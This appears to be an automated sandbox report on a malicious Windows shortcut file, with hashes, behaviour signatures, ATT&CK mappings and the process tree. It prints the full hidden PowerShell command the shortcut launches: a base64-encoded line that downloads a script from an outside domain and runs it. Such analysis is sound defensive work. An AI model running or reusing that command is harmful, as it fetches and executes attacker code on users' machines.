375ac09d5f44849e9c888e86adc50069cdb019e3de3216264f61868bef12ca4d

Analysis

max time kernel
147s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
submitted
09/04/2024, 17:27

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General

Target
DRBS7505.lnk
Size 127KB
Sample240409-v1eb5sha6w
SHA256 375ac09d5f44849e9c888e86adc50069cdb019e3de3216264f61868bef12ca4d
MD5 1b298f950d9b3289188e0ae035ac4095
SHA1 7b71dfa4da23b81f681241cc642050d1c9085848
SHA512 9d350eecaf5330771363d48fabac7706a8b5cb57fb3cb202405784dd550d8c824f6b2ef4ca26ea9e3cb76f9b585e1ee630d94d027f1ed4e80ba42ad7e6b4cf23
SSDEEP 3072:UhX0NlDzCHH36SEn/iAgUrQCIS9D1YnKvbDT+jeo1lhU3uBr:fNlfCmjrQCID4bDOeWN
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2012	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2012	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2012	powershell.exe
2012	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2012	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 2012	644	cmd.exe	85
PID 644 wrote to memory of 2012	644	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DRBS7505.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBjAGEAcgBlAC0AbwBuAGIAbwBhAHIAZAAuAGMAbwBtAC8AYQBwAHAALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_4d0rr4rb.254.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4d0rr4rb.254.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2012-2-0x000001EDC8190000-0x000001EDC81B2000-memory.dmp

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memory/2012-12-0x00007FFFEDA00000-0x00007FFFEE4C1000-memory.dmp

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memory/2012-13-0x000001EDC81D0000-0x000001EDC81E0000-memory.dmp

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memory/2012-14-0x000001EDC81D0000-0x000001EDC81E0000-memory.dmp

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memory/2012-15-0x000001EDC81D0000-0x000001EDC81E0000-memory.dmp

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memory/2012-16-0x00007FFFEDA00000-0x00007FFFEE4C1000-memory.dmp

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memory/2012-19-0x00007FFFEDA00000-0x00007FFFEE4C1000-memory.dmp

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